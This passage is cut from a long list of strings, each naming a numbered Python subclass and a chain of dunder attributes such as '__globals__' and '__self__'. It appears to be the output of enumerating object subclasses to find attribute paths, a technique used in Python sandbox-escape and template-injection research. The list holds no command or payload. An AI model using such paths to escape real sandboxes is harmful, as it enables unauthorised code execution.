..BinaryIO.close", "Subclass 95: .._get_parent_path.__repr__.__objclass__", "Subclass 95: .._get_parent_path.__new__.__self__", "Subclass 95: ..__iter__.__le__.__self__", "Subclass 115: ..__class__.__subclasscheck__.__class__", "Subclass 94: ..contents.__delattr__.__self__", "Subclass 185: ..seek.__init__.__self__", "Subclass 184: ..__delitem__.__call__.__self__", "Subclass 183: ..closegroup.__dir__.__self__", "Subclass 95: .._find_parent_path_names.__call__.__objclass__", "Subclass 137: ..__init_subclass__.__self__.__get__", "Subclass 110: ..__exit__.__setattr__.__self__", "Subclass 109: ..__next__.__subclasshook__.__self__", "Subclass 183: ..__init__.__sizeof__.__self__", "Subclass 110: ..__init__.__ge__.__self__", "Subclass 82: ..__init_subclass__.__self__.__init__", "Subclass 80: ..has_deadlock.__get__.__self__", "Subclass 107: ..setstate", "Subclass 105: ..__weakref__.__objclass__.open_resource", "Subclass 177: ..enter_context.__repr__.__self__", "Subclass 177: ..push.__setattr__.__self__", "Subclass 134: ..__init__.__class__", "Subclass 105: ..is_resource.__format__.__self__", "Subclass 84: ..exec_module.__func__.__class__", "Subclass 130: ..__len__.__reduce__.__self__", "Subclass 172: ..__repr__.__eq__.__self__", "Subclass 134: ..__repr__.__get__.__objclass__", "Subclass 104: ..__weakref__.__objclass__.is_package", "Subclass 107: ..__init_subclass__.__self__.__init__", "Subclass 110: ..__iter__.__setattr__.__self__", "Subclass 164: ..repr_tuple.__str__.__self__", "Subclass 185: ..__init_subclass__.__self__.error", "Subclass 183: ..checkgroup.__getattribute__.__self__", "Subclass 164: ..repr_dict.__format__.__self__", "Subclass 98: ..__repr__.__delattr__.__self__", "Subclass 95: ..__setitem__.__reduce_ex__.__self__", "Subclass 137: ..__subclasshook__.__self__.__delete__", "Subclass 140: ..__enter__.__get__.__objclass__", "Subclass 84: ..__init_subclass__.__self__.module_repr", "Subclass 138: ..__iter__.__ge__.__self__", "Subclass 136: ..__call__.__lt__.__self__", 'Global func 1: ..__reduce__.__self__', "Subclass 173: ..__get__.__init__.__self__", "Subclass 172: ..__get__.__eq__.__self__", "Subclass 177: ..push.__class__", "Subclass 184: ..append.__new__.__self__", "Subclass 196: ..Pattern.__init_subclass__.__func__", "Subclass 183: ..closegroup.__format__.__self__", "Subclass 176: ..__init__.__ne__.__self__", "Subclass 164: ..__weakref__.__objclass__.repr_dict", "Subclass 184: ..dump.__reduce__.__self__", "Subclass 95: ..__repr__.__call__.__objclass__", "Subclass 104: ..get_source.__repr__.__self__", "Subclass 138: ..close.__reduce__.__self__", "Subclass 133: ..__getattr__.__repr__.__self__", "Subclass 109: ..__iter__.__str__.__self__", "Subclass 176: ..__init_subclass__.__self__.__init__", "Subclass 185: ..__init_subclass__.__self__.seek", "Subclass 104: ..load_module.__gt__.__self__", "Subclass 109: ..write.__dir__.__self__", "Subclass 135: .._Printer__setup.__le__.__self__", "Subclass 173: ..__weakref__.__objclass__.__get__", "Subclass 140: ..__weakref__.__objclass__.__repr__", "Subclass 135: .._Printer__setup.__hash__.__self__", "Subclass 39: ..__globals__.__objclass__", "Subclass 185: .._Tokenizer__next.__get__.__self__", "Subclass 135: .._Printer__setup.__reduce_ex__.__self__", "Subclass 199: ..contents.__format__.__self__", "Subclass 94: ..get_data.__call__.__objclass__", "Subclass 106: ..decode.__get__.__objclass__", "Subclass 104: ..__init_subclass__.__self__.find_module", "Subclass 110: ..__iter__.__new__.__self__", "Subclass 140: ..__init__.__eq__.__self__", "Subclass 177: ..__weakref__.__objclass__._create_cb_wrapper", "Subclass 185: ..seek.__new__.__self__", "Subclass 104: ..find_loader.__sizeof__.__self__", "Subclass 184: ..__len__.__lt__.__self__", "Subclass 184: ..__getitem__.__dir__.__self__", "Subclass 110: ..reset.__delattr__.__self__", "Subclass 86: ..exec_module.__str__.__self__", "Subclass 107: ..__init__.__gt__.__self__", "Subclass 104: ..find_loader.__eq__.__self__", "Subclass 172: .._make_unbound_method.__reduce_ex__.__self__", "Subclass 81: ..__init__.__le__.__self__", "Subclass 104: ..get_resource_reader.__str__.__self__", "Subclass 185: ..__init__.__le__.__self__", "Subclass 135: ..__repr__.__eq__.__self__", "Subclass 110: ..write.__reduce__.__self__", "Subclass 98: ..__repr__.__lt__.__self__", "Subclass 185: ..seek.__delattr__.__self__", "Subclass 119: ..__iter__.__gt__.__self__", "Subclass 138: ..throw.__repr__.__objclass__", "Subclass 105: ..is_resource.__sizeof__.__self__", "Subclass 82: ..__exit__", "Subclass 164: ..__init__.__lt__.__self__", "Subclass 110: ..readline.__subclasshook__.__self__", "Subclass 110: ..read.__subclasshook__.__self__", "Subclass 106: ..encode.__init__.__self__", "Subclass 177: .._push_exit_callback.__dir__.__self__", "Subclass 110: ..writelines.__repr__.__objclass__", "Subclass 138: ..throw.__call__.__self__", "Subclass 107: ..__weakref__.__objclass__.setstate", "Subclass 177: .._push_cm_exit.__str__.__self__", "Subclass 108: ..getstate.__delattr__.__self__", "Subclass 110: ..readline.__le__.__self__", "Subclass 133: ..__exit__.__eq__.__self__", "Subclass 96: ..load_module.__getattribute__.__self__", "Subclass 135: ..__init__.__new__.__self__", "Subclass 174: ..__set_name__.__sizeof__.__self__", "Subclass 174: ..__set_name__.__get__.__objclass__", "Subclass 139: ..__init__.__gt__.__self__", "Subclass 138: ..__init__.__ne__.__self__", "Subclass 98: ..invalidate_caches.__class__", "Subclass 110: ..read.__str__.__self__", "Subclass 107: ..reset.__call__.__objclass__", "Subclass 164: ..__init__.__eq__.__self__", "Subclass 137: ..__delete__.__call__.__self__", "Subclass 95: ..__len__.__subclasshook__.__self__", "Subclass 184: ..dump.__new__.__self__", "Subclass 172: ..__get__.__dir__.__self__", "Subclass 83: ..__repr__.__gt__.__self__", "Subclass 95: ..__contains__.__ge__.__self__", "Subclass 185: ..match.__repr__.__objclass__", "Subclass 183: ..__init_subclass__.__self__.checkgroup", "Subclass 138: ..__subclasshook__.__self__.send", "Subclass 94: ..__init__.__init__.__self__", "Subclass 39: ..__new__.__self__", "Subclass 197: ..find_module.__new__.__self__", "Subclass 93: ..is_package.__str__.__self__", "Subclass 95: ..__init_subclass__.__self__.__init__", "Subclass 108: ..getstate.__hash__.__self__", "Subclass 107: ..reset.__repr__.__self__", "Subclass 84: ..create_module.__self__.module_repr", "Subclass 82: ..__init__.__dir__.__self__", "Subclass 98: ..__repr__.__new__.__self__", "Subclass 109: ..write.__lt__.__self__", "Subclass 164: ..repr_tuple.__reduce__.__self__", "Subclass 140: ..__init__.__ge__.__self__", "Subclass 104: ..__weakref__.__objclass__.find_module", "Subclass 164: ..repr.__eq__.__self__", "Subclass 109: ..__init__.__call__.__objclass__", "Subclass 198: ..module_repr", "Subclass 96: ..get_source", "Subclass 136: ..__call__.__call__.__self__", "Subclass 86: ..create_module.__self__.module_repr", "Subclass 95: ..__getitem__.__new__.__self__", "Subclass 114: ..__class__.__subclasscheck__.__class__", "Subclass 98: ..find_module.__subclasshook__.__self__", "Subclass 104: ..get_source.__call__.__objclass__", "Subclass 173: ..__get__.__dir__.__self__", "Subclass 104: ..load_module.__new__.__self__", "Subclass 199: ..is_resource.__dir__.__self__", "Subclass 98: ..__repr__.__hash__.__self__", "Subclass 93: ..create_module.__lt__.__self__", "Subclass 87: ..__weakref__.__objclass__.__enter__", "Subclass 94: ..get_data.__lt__.__self__", "Subclass 186: ..scan.__call__.__objclass__", "Subclass 134: ..__init__.__call__.__self__", "Subclass 184: ..append.__eq__.__self__", "Subclass 185: .._Tokenizer__next.__setattr__.__self__", "Subclass 86: ..exec_module.__reduce_ex__.__self__", "Subclass 164: ..__init_subclass__.__self__.__init__", "Subclass 138: ..__await__.__getattribute__.__self__", "Subclass 140: ..__enter__.__getattribute__.__self__", "Subclass 106: ..decode.__str__.__self__", "Subclass 96: ..get_code.__setattr__.__self__", "Subclass 133: ..__exit__.__init__.__self__", "Subclass 137: ..deleter.__dir__.__self__", "Subclass 109: ..__enter__.__hash__.__self__", "Subclass 82: ..__enter__.__setattr__.__self__", "Subclass 119: ..__iter__.__sizeof__.__self__", "Subclass 104: ..__init__.__getattribute__.__self__", "Subclass 95: .._get_parent_path.__init__.__self__", "Subclass 199: ..is_resource.__repr__.__self__", "Subclass 114: ..__hash__.__reduce__.__self__", "Subclass 177: .._create_exit_wrapper.__gt__.__self__", "Subclass 183: ..closegroup.__repr__.__objclass__", "Subclass 132: ..__class__.register", "Subclass 104: ..__repr__.__le__.__self__", "Subclass 80: ..release.__reduce_ex__.__self__", "Subclass 177: ..__subclasshook__.__self__.enter_context", "Subclass 104: ..__weakref__.__objclass__.get_filename", "Subclass 96: ..create_module.__reduce__.__self__", "Subclass 96: ..get_source.__gt__.__self__", "Subclass 83: ..__repr__.__subclasshook__.__self__", "Subclass 98: ..find_module.__setattr__.__self__", "Subclass 80: ..__repr__.__repr__.__self__", "Subclass 110: ..write.__call__.__objclass__", "Subclass 96: ..__weakref__.__objclass__.get_source", "Subclass 86: ..get_code.__func__", "Subclass 195: ..BinaryIO.read", "Subclass 198: ..__class__.__new__", "Subclass 177: ..enter_context.__new__.__self__", "Subclass 94: ..open_resource.__sizeof__.__self__", "Subclass 94: ..open_resource.__gt__.__self__", "Subclass 106: ..__subclasshook__.__self__.encode", "Subclass 177: .._push_cm_exit.__sizeof__.__self__", "Subclass 194: ..__class__.__subclasscheck__.__class__", "Subclass 133: ..__enter__.__get__.__objclass__", "Subclass 108: ..__init__.__sizeof__.__self__", "Subclass 96: ..is_package.__reduce__.__self__", "Subclass 185: ..__init__.__init_subclass__.__self__", "Subclass 104: ..get_source.__format__.__self__", "Subclass 104: ..get_code.__init_subclass__.__self__", "Subclass 95: ..__repr__.__getattribute__.__self__", "Subclass 104: ..load_module.__call__.__self__", "Subclass 172: ..__get__.__call__.__objclass__", "Subclass 197: ..find_module.__eq__.__self__", "Subclass 130: ..__len__.__sizeof__.__self__", "Subclass 184: ..__setitem__.__eq__.__self__", "Subclass 109: ..__iter__.__ge__.__self__", "Subclass 98: ..__repr__.__dir__.__self__", "Subclass 94: ..is_resource.__gt__.__self__", "Subclass 199: ..contents.__hash__.__self__", "Subclass 140: ..__enter__.__str__.__self__", "Subclass 110: ..readlines.__subclasshook__.__self__", "Subclass 188: ..__deepcopy__.__get__.__objclass__", "Subclass 110: ..readline.__gt__.__self__", "Subclass 138: ..throw.__reduce__.__self__", "Subclass 110: ..__getattr__.__reduce_ex__.__self__", "Subclass 133: ..__exit__.__repr__.__objclass__", 'Global func 1: ..__class__.__get__.__objclass__', "Subclass 86: ..find_spec.__self__.module_repr", "Subclass 183: ..closegroup.__sizeof__.__self__", "Subclass 106: ..encode.__lt__.__self__", "Subclass 109: ..writelines.__reduce_ex__.__self__", "Subclass 110: ..__exit__.__reduce_ex__.__self__", "Subclass 138: ..__iter__.__init__.__self__", "Subclass 105: ..resource_path.__call__.__objclass__", "Subclass 177: ..push.__new__.__self__", "Subclass 104: ..is_package.__reduce__.__self__", "Subclass 108: ..reset.__init__.__self__", "Subclass 98: ..find_module.__call__.__self__", "Subclass 109: ..read.__getattribute__.__self__", "Subclass 184: ..__repr__.__eq__.__self__", "Subclass 86: ..find_module.__self__.module_repr", "Subclass 109: ..seek.__format__.__self__", "Subclass 185: ..match.__init__.__self__", "Subclass 177: .._create_exit_wrapper.__reduce_ex__.__self__", "Subclass 80: ..release.__setattr__.__self__", "Subclass 106: ..__weakref__.__objclass__.decode", "Subclass 133: ..__weakref__.__objclass__.__init__", "Subclass 137: ..deleter.__reduce_ex__.__self__", "Subclass 134: ..__repr__", "Subclass 105: ..resource_path.__get__.__self__", "Subclass 110: ..__exit__.__class__", "Subclass 177: ..__subclasshook__.__self__._create_exit_wrapper", "Subclass 198: ..module_repr.__init_subclass__.__self__", "Subclass 188: ..__copy__.__hash__.__self__", "Subclass 138: ..__iter__.__init_subclass__.__self__", "Subclass 177: .._create_exit_wrapper.__lt__.__self__", "Subclass 104: ..get_resource_reader.__subclasshook__.__self__", "Subclass 104: ..is_package.__gt__.__self__", "Subclass 188: ..__deepcopy__.__repr__.__self__", "Subclass 95: ..__init_subclass__.__self__._recalculate", "Subclass 94: ..resource_path.__get__.__self__", "Subclass 106: ..encode.__init_subclass__.__self__", "Subclass 81: ..__subclasshook__.__self__.acquire", "Subclass 96: ..__weakref__.__objclass__.exec_module", "Subclass 136: ..__call__.__reduce_ex__.__self__", "Subclass 174: ..__set_name__.__repr__.__objclass__", "Subclass 135: ..__call__.__repr__.__self__", "Subclass 185: ..__init__.__get__.__objclass__", "Subclass 86: ..module_repr.__ge__.__self__", "Subclass 185: ..__init__.__delattr__.__self__", "Subclass 95: ..__subclasshook__.__self__.__init__", "Subclass 96: ..__init_subclass__.__self__.exec_module", "Subclass 110: ..__enter__.__repr__.__self__", "Subclass 96: ..get_code.__new__.__self__", "Subclass 109: ..__next__.__eq__.__self__", "Subclass 83: ..__init__", "Subclass 184: ..getwidth.__reduce_ex__.__self__", "Subclass 185: ..__init__.__ne__.__self__", "Subclass 108: ..__init__.__get__.__objclass__", "Subclass 185: ..getuntil.__ne__.__self__", "Subclass 96: ..exec_module.__ne__.__self__", "Subclass 185: ..match.__repr__.__self__", "Subclass 119: ..__iter__.__delattr__.__self__", "Subclass 80: ..__repr__.__str__.__self__", "Subclass 139: ..__init__.__get__.__self__", "Subclass 109: ..__next__.__call__.__objclass__", "Subclass 199: ..contents.__gt__.__self__", "Subclass 133: ..__getattr__.__init__.__self__", "Subclass 185: ..error.__call__.__objclass__", "Subclass 188: ..__subclasshook__.__self__.__deepcopy__", "Subclass 164: ..repr_instance.__get__.__objclass__", "Subclass 109: ..__enter__.__ne__.__self__", "Subclass 82: ..__subclasshook__.__self__.__enter__", "Subclass 185: ..__init__.__repr__.__objclass__", "Subclass 183: ..opengroup", "Subclass 130: ..__class__._abc_registry_clear.__class__", "Subclass 94: ..__subclasshook__.__self__.__hash__", "Subclass 177: ..__init_subclass__.__self__._push_cm_exit", "Subclass 98: .._fill_cache.__dir__.__self__", "Subclass 186: ..scan.__reduce_ex__.__self__", "Subclass 172: ..__repr__.__le__.__self__", "Subclass 93: ..create_module.__eq__.__self__", "Subclass 130: ..__len__.__lt__.__self__", "Subclass 94: ..__subclasshook__.__self__.contents", "Subclass 109: ..__enter__.__le__.__self__", "Subclass 109: ..writelines.__get__.__self__", "Subclass 137: ..getter.__lt__.__self__", "Subclass 139: ..__str__.__reduce_ex__.__self__", "Subclass 93: ..create_module.__setattr__.__self__", "Subclass 172: .._make_unbound_method.__get__.__self__", "Subclass 137: ..deleter.__subclasshook__.__self__", "Subclass 95: ..__setitem__.__init__.__self__", "Subclass 105: ..resource_path.__getattribute__.__self__", 'Global func 0: ..__self__.__loader__.module_repr', "Subclass 104: ..load_module.__repr__.__self__", "Subclass 194: ..__class__.__subclasscheck__", "Subclass 138: ..__await__.__setattr__.__self__", "Subclass 81: ..__weakref__.__objclass__.__init__", "Subclass 137: ..__set__.__call__.__self__", "Subclass 138: ..throw.__repr__.__self__", "Subclass 109: ..__getattr__.__eq__.__self__", "Subclass 137: ..deleter.__get__.__self__", "Subclass 95: .._get_parent_path.__getattribute__.__self__", "Subclass 95: .._find_parent_path_names.__subclasshook__.__self__", "Subclass 81: ..acquire.__init__.__self__", "Subclass 94: ..get_resource_reader.__subclasshook__.__self__", "Subclass 137: ..deleter.__getattribute__.__self__", "Subclass 107: ..reset.__gt__.__self__", "Subclass 94: ..__eq__.__call__.__self__", "Subclass 173: ..__init__.__ge__.__self__", "Subclass 175: ..__call__.__setattr__.__self__", "Subclass 109: ..__getattr__.__call__.__self__", "Subclass 133: ..__getattr__.__call__.__objclass__", "Subclass 82: ..__init_subclass__.__self__.__exit__", "Subclass 138: ..close.__class__", "Subclass 199: ..__subclasshook__.__self__.is_resource", "Subclass 96: ..create_module.__eq__.__self__", "Subclass 115: ..__await__.__repr__.__self__", "Subclass 164: ..repr_list.__format__.__self__", "Subclass 80: ..__repr__.__ne__.__self__", "Subclass 109: ..writelines.__init_subclass__.__self__", "Subclass 188: ..__copy__.__get__.__self__", "Subclass 137: ..__init__.__subclasshook__.__self__", "Subclass 184: ..__setitem__.__get__.__objclass__", "Subclass 179: ..__class__.__getattr__", "Subclass 133: ..__getattr__.__dir__.__self__", "Subclass 93: ..load_module.__str__.__self__", "Subclass 164: ..repr_int.__repr__.__objclass__", "Subclass 95: ..__len__.__setattr__.__self__", "Subclass 188: ..__copy__.__init_subclass__.__self__", "Subclass 110: ..reset.__gt__.__self__", "Subclass 177: ..enter_context.__init__.__self__", "Subclass 177: .._create_exit_wrapper.__subclasshook__.__self__", "Subclass 108: ..__init__.__format__.__self__", "Subclass 107: ..setstate.__new__.__self__", "Subclass 177: .._push_cm_exit.__ne__.__self__", "Subclass 199: ..__init_subclass__.__self__.resource_path", "Subclass 184: ..__delitem__.__delattr__.__self__", "Subclass 94: ..load_module.__subclasshook__.__self__", "Subclass 199: ..__class__._abc_caches_clear", "Subclass 199: ..contents.__ge__.__self__", "Subclass 110: ..__exit__.__call__.__self__", "Subclass 184: ..__init_subclass__.__self__.insert", "Subclass 117: ..__aiter__.__le__.__self__", "Subclass 109: ..__init__.__format__.__self__", "Subclass 109: ..__subclasshook__.__self__.writelines", "Subclass 164: ..__init__.__get__.__self__", "Subclass 196: ..Pattern.__getitem__.__func__", "Subclass 104: ..get_data.__reduce_ex__.__self__", "Subclass 174: ..__init__.__ge__.__self__", "Subclass 134: ..__call__.__repr__.__objclass__", "Subclass 197: ..__class__.__new__.__class__", "Subclass 185: ..seek.__repr__.__objclass__", "Subclass 132: ..__call__.__get__.__objclass__", "Subclass 132: ..__call__.__reduce__.__self__", "Subclass 137: ..__init__.__call__.__objclass__", "Subclass 80: ..has_deadlock.__repr__.__objclass__", "Subclass 138: ..__next__.__subclasshook__.__self__", "Subclass 109: ..read.__init__.__self__", "Subclass 108: ..__init__.__get__.__self__", "Subclass 134: ..__repr__.__format__.__self__", "Subclass 177: ..callback.__call__.__objclass__", "Subclass 186: ..scan.__sizeof__.__self__", "Subclass 184: ..__init__.__delattr__.__self__", "Subclass 164: ..repr_int.__lt__.__self__", "Subclass 110: ..__subclasshook__.__self__.__exit__", "Subclass 110: ..readline.__repr__.__self__", "Subclass 109: ..__next__.__reduce_ex__.__self__", "Subclass 107: ..reset.__dir__.__self__", "Subclass 164: ..repr1.__lt__.__self__", "Subclass 110: ..__init__.__repr__.__self__", "Subclass 94: ..__hash__.__le__.__self__", "Subclass 183: ..closegroup.__delattr__.__self__", "Subclass 195: ..TextIO.readlines.__class__", "Subclass 98: ..invalidate_caches.__hash__.__self__", "Subclass 95: ..__setitem__.__lt__.__self__", "Subclass 133: ..__init__.__delattr__.__self__", "Subclass 184: ..__delitem__.__init_subclass__.__self__", "Subclass 134: ..__init__.__ge__.__self__", "Subclass 81: ..acquire.__hash__.__self__", "Subclass 119: ..__class__.register.__class__", "Subclass 98: ..__init__.__setattr__.__self__", "Subclass 173: ..__init__.__sizeof__.__self__", "Subclass 94: ..__init_subclass__.__self__.__init__", "Subclass 172: ..__repr__.__call__.__self__", "Subclass 110: ..__next__.__getattribute__.__self__", "Subclass 198: ..load_module.__gt__.__self__", 'Global func 1: ..__setattr__.__self__', "Subclass 82: ..__enter__", "Subclass 177: ..push.__hash__.__self__", "Subclass 107: ..encode.__setattr__.__self__", "Subclass 110: ..__enter__.__repr__.__objclass__", "Subclass 134: ..__repr__.__lt__.__self__", "Subclass 93: ..is_package.__class__", "Subclass 107: ..setstate.__class__", "Subclass 136: ..__call__.__ne__.__self__", "Subclass 186: ..scan.__dir__.__self__", "Subclass 164: ..__init_subclass__.__self__.repr_str", "Subclass 185: ..__init_subclass__.__self__.getuntil", "Subclass 138: ..__next__.__delattr__.__self__", "Subclass 164: ..repr_array.__format__.__self__", "Subclass 98: ..find_spec.__sizeof__.__self__", "Subclass 98: .._get_spec", "Subclass 104: ..is_package.__ge__.__self__", "Subclass 104: ..__subclasshook__.__self__.find_module", "Subclass 87: ..__enter__.__setattr__.__self__", "Subclass 108: ..getstate.__sizeof__.__self__", "Subclass 104: ..get_filename.__ge__.__self__", "Subclass 107: ..encode.__class__", "Subclass 94: ..__eq__.__reduce__.__self__", "Subclass 184: ..__setitem__.__get__.__self__", "Subclass 98: ..invalidate_caches.__new__.__self__", "Subclass 81: ..release.__reduce_ex__.__self__", "Subclass 104: ..__init_subclass__.__self__.get_data", "Subclass 98: ..find_spec.__call__.__self__", "Subclass 164: ..repr", "Subclass 175: ..__init_subclass__.__self__._recreate_cm", "Subclass 184: ..__setitem__.__format__.__self__", "Subclass 196: ..Match.__class__.__reduce__", 'Global func 1: ..__get__.__self__.__class__', "Subclass 80: ..has_deadlock.__repr__.__self__", "Subclass 82: ..__enter__.__sizeof__.__self__", "Subclass 104: ..get_source.__eq__.__self__", "Subclass 110: ..__init__", "Subclass 185: ..seek.__ne__.__self__", "Subclass 94: ..open_resource.__str__.__self__", "Subclass 109: ..write.__repr__.__self__", "Subclass 110: ..__exit__.__subclasshook__.__self__", "Subclass 96: ..__subclasshook__.__self__.get_source", "Subclass 80: ..__weakref__.__objclass__.has_deadlock", "Subclass 183: ..__subclasshook__.__self__.checkgroup", "Subclass 164: ..__init__.__setattr__.__self__", "Subclass 133: ..__iter__.__dir__.__self__", "Subclass 135: ..__init__.__reduce_ex__.__self__", "Subclass 93: ..create_module.__reduce__.__self__", "Subclass 108: ..setstate.__reduce_ex__.__self__", "Subclass 105: ..is_resource.__get__.__self__", "Subclass 134: ..__repr__.__delattr__.__self__", "Subclass 93: ..create_module.__new__.__self__", "Subclass 94: ..__subclasshook__.__self__.get_data", "Subclass 164: ..repr_instance.__init_subclass__.__self__", "Subclass 196: ..Match.copy_with.__func__", "Subclass 93: ..create_module.__str__.__self__", "Subclass 109: ..__init__.__reduce__.__self__", "Subclass 135: ..__call__.__setattr__.__self__", "Subclass 164: ..repr.__ne__.__self__", "Subclass 164: ..repr_dict.__delattr__.__self__", "Subclass 80: ..has_deadlock.__init__.__self__", "Subclass 83: ..__weakref__.__objclass__.__repr__", "Subclass 94: ..contents.__hash__.__self__", "Subclass 133: ..__init__.__call__.__self__", "Subclass 94: ..get_data.__new__.__self__", "Subclass 140: ..__init__.__reduce_ex__.__self__", "Subclass 80: ..acquire.__format__.__self__", "Subclass 199: ..is_resource", "Subclass 104: ..get_code.__reduce_ex__.__self__", "Subclass 117: ..__aiter__.__sizeof__.__self__", "Subclass 96: ..is_package.__str__.__self__", "Subclass 136: ..__repr__", "Subclass 110: ..readlines.__repr__.__self__", "Subclass 109: ..seek.__getattribute__.__self__", "Subclass 164: ..__init_subclass__.__self__.repr_deque", "Subclass 93: ..create_module.__dir__.__self__", "Subclass 135: ..__call__.__le__.__self__", "Subclass 184: ..insert.__eq__.__self__", "Subclass 109: ..readline.__lt__.__self__", "Subclass 175: ..__subclasshook__.__self__._recreate_cm", "Subclass 192: ..__new__.__str__.__self__", "Subclass 198: ..create_module.__new__.__self__", "Subclass 199: ..is_resource.__ge__.__self__", "Subclass 109: ..seek.__str__.__self__", "Subclass 104: ..get_data.__sizeof__.__self__", "Subclass 133: ..__subclasshook__.__self__.__getattr__", "Subclass 164: .._repr_iterable.__call__.__objclass__", "Subclass 195: ..TextIO.seek.__class__", "Subclass 86: ..__subclasshook__.__self__.module_repr", "Subclass 188: ..__copy__.__gt__.__self__", "Subclass 184: ..__getitem__.__setattr__.__self__", "Subclass 110: ..reset.__lt__.__self__", "Subclass 110: ..seek.__gt__.__self__", "Subclass 105: ..contents.__eq__.__self__", "Subclass 95: .._get_parent_path.__le__.__self__", "Subclass 94: ..open_resource.__new__.__self__", 'Global func 1: ..__class__.__annotations__.__objclass__', "Subclass 184: ..__subclasshook__.__self__.getwidth", "Subclass 164: ..__subclasshook__.__self__.repr1", "Subclass 186: ..scan.__class__", "Subclass 184: ..__init_subclass__.__self__.__init__", "Subclass 109: ..reset.__call__.__objclass__", "Subclass 183: ..checklookbehindgroup.__get__.__self__", "Subclass 184: ..__repr__.__gt__.__self__", "Subclass 110: ..seek.__le__.__self__", "Subclass 137: ..setter.__call__.__objclass__", "Subclass 109: ..__getattr__", "Subclass 133: ..close.__sizeof__.__self__", "Subclass 164: ..repr_set.__init_subclass__.__self__", "Subclass 195: ..BinaryIO.readline.__class__", "Subclass 106: ..encode.__repr__.__objclass__", "Subclass 93: ..is_package.__dir__.__self__", "Subclass 80: ..__repr__", "Subclass 138: ..close.__subclasshook__.__self__", "Subclass 164: ..repr_set.__getattribute__.__self__", "Subclass 86: ..exec_module.__repr__.__objclass__", "Subclass 137: ..__get__.__reduce_ex__.__self__", "Subclass 110: ..__init_subclass__.__self__.__exit__", "Subclass 164: ..repr.__reduce__.__self__", "Subclass 80: ..__init__.__lt__.__self__", "Subclass 133: ..__getattr__.__delattr__.__self__", "Subclass 174: ..__subclasshook__.__self__.__get__", "Subclass 104: ..find_module.__getattribute__.__self__", "Subclass 176: ..__init__.__subclasshook__.__self__", "Subclass 107: ..setstate.__delattr__.__self__", "Subclass 164: ..repr_deque.__lt__.__self__", "Subclass 199: ..open_resource.__class__", "Subclass 185: .._Tokenizer__next", "Subclass 82: ..__init__.__init_subclass__.__self__", "Subclass 109: ..__iter__.__format__.__self__", "Subclass 108: ..__init__.__call__.__objclass__", "Subclass 104: ..get_resource_reader.__init__.__self__", "Subclass 134: ..__call__.__getattribute__.__self__", "Subclass 110: ..read.__delattr__.__self__", "Subclass 104: ..__repr__.__subclasshook__.__self__", "Subclass 133: ..__getattr__.__lt__.__self__", "Subclass 94: ..get_resource_reader.__get__.__self__", "Subclass 172: ..__weakref__.__objclass__.__repr__", "Subclass 104: ..get_code.__reduce__.__self__", "Subclass 198: ..load_module.__ne__.__self__", "Subclass 109: ..write.__gt__.__self__", "Subclass 110: ..write.__repr__.__objclass__", "Subclass 174: ..__init__.__str__.__self__", "Subclass 95: .._find_parent_path_names.__repr__.__self__", "Subclass 95: .._get_parent_path.__eq__.__self__", "Subclass 177: .._push_cm_exit.__eq__.__self__", "Subclass 174: ..__set_name__.__get__.__self__", "Subclass 95: ..__subclasshook__.__self__.__len__", "Subclass 82: ..__init_subclass__.__self__.__enter__", "Subclass 137: ..getter.__init_subclass__.__self__", "Subclass 98: ..__init_subclass__.__self__.find_module", "Subclass 109: ..__next__.__reduce__.__self__", "Subclass 104: ..get_code.__gt__.__self__", "Subclass 177: ..push.__subclasshook__.__self__", 'Global func 1: ..__str__.__self__', "Subclass 198: ..load_module.__le__.__self__", "Subclass 109: ..__init__.__subclasshook__.__self__", "Subclass 135: ..__repr__.__init__.__self__", "Subclass 133: ..__init__.__gt__.__self__", "Subclass 179: ..__class__.__dir__", "Subclass 86: ..__subclasshook__.__self__.exec_module", "Subclass 183: ..__init_subclass__.__self__.opengroup", "Subclass 117: ..__aiter__.__dir__.__self__", "Subclass 140: ..__init__.__new__.__self__", "Subclass 137: ..deleter.__call__.__self__", "Subclass 95: ..__contains__.__subclasshook__.__self__", "Subclass 188: ..__deepcopy__.__new__.__self__", "Subclass 80: ..__repr__.__eq__.__self__", "Subclass 108: ..reset.__reduce__.__self__", "Subclass 98: ..find_module.__repr__.__objclass__", "Subclass 133: ..__exit__.__call__.__objclass__", "Subclass 136: ..__call__.__le__.__self__", "Subclass 183: ..checklookbehindgroup.__lt__.__self__", "Subclass 186: ..scan.__repr__.__self__", "Subclass 109: ..__subclasshook__.__self__.readlines", "Subclass 164: ..__subclasshook__.__self__.repr_int", "Subclass 39: .", "Subclass 198: ..module_repr.__repr__.__objclass__", "Subclass 133: ..close.__setattr__.__self__", "Subclass 174: ..__set_name__.__init__.__self__", "Subclass 172: .._make_unbound_method.__lt__.__self__", "Subclass 138: ..close.__format__.__self__", "Subclass 98: .._fill_cache.__format__.__self__", "Subclass 164: ..repr_set.__call__.__self__", "Subclass 115: ..__await__.__format__.__self__", "Subclass 119: ..__class__.__new__", "Subclass 164: ..repr_deque.__reduce_ex__.__self__", "Subclass 94: ..__subclasshook__.__self__.resource_path", "Subclass 174: ..__get__.__class__", "Subclass 137: ..__get__.__get__.__self__", "Subclass 177: .._push_cm_exit.__new__.__self__", "Subclass 184: ..__setitem__.__reduce__.__self__", "Subclass 177: .._push_exit_callback.__sizeof__.__self__", "Subclass 104: ..get_filename.__repr__.__self__", "Subclass 192: ..__new__.__new__.__self__", "Subclass 98: .._get_spec.__new__.__self__", "Subclass 139: ..__init__.__ne__.__self__", "Subclass 95: .._recalculate.__call__.__objclass__", "Subclass 96: ..get_code.__sizeof__.__self__", "Subclass 135: ..__repr__.__repr__.__self__", "Subclass 105: ..__init__.__new__.__self__", "Subclass 177: .._push_exit_callback.__format__.__self__", "Subclass 93: ..load_module.__delattr__.__self__", "Subclass 185: ..__init__.__getattribute__.__self__", "Subclass 94: ..get_data.__reduce__.__self__", "Subclass 109: ..reset.__new__.__self__", "Subclass 184: ..append.__class__", "Subclass 172: ..__init__.__class__", "Subclass 172: ..__get__", "Subclass 115: ..__await__.__call__.__self__", "Subclass 110: ..__weakref__.__objclass__.read", "Subclass 109: ..__exit__.__ge__.__self__", "Subclass 183: ..closegroup.__repr__.__self__", "Subclass 164: .._repr_iterable.__new__.__self__", "Subclass 133: ..__exit__.__hash__.__self__", "Subclass 177: ..pop_all.__gt__.__self__", "Subclass 109: ..writelines.__ne__.__self__", "Subclass 177: ..__init__.__gt__.__self__", "Subclass 109: ..__iter__.__reduce_ex__.__self__", "Subclass 172: ..__repr__.__repr__.__self__", "Subclass 117: ..__class__._abc_caches_clear.__class__", "Subclass 177: ..enter_context.__delattr__.__self__", "Subclass 109: ..__iter__.__hash__.__self__", "Subclass 109: ..__getattr__.__hash__.__self__", "Subclass 108: 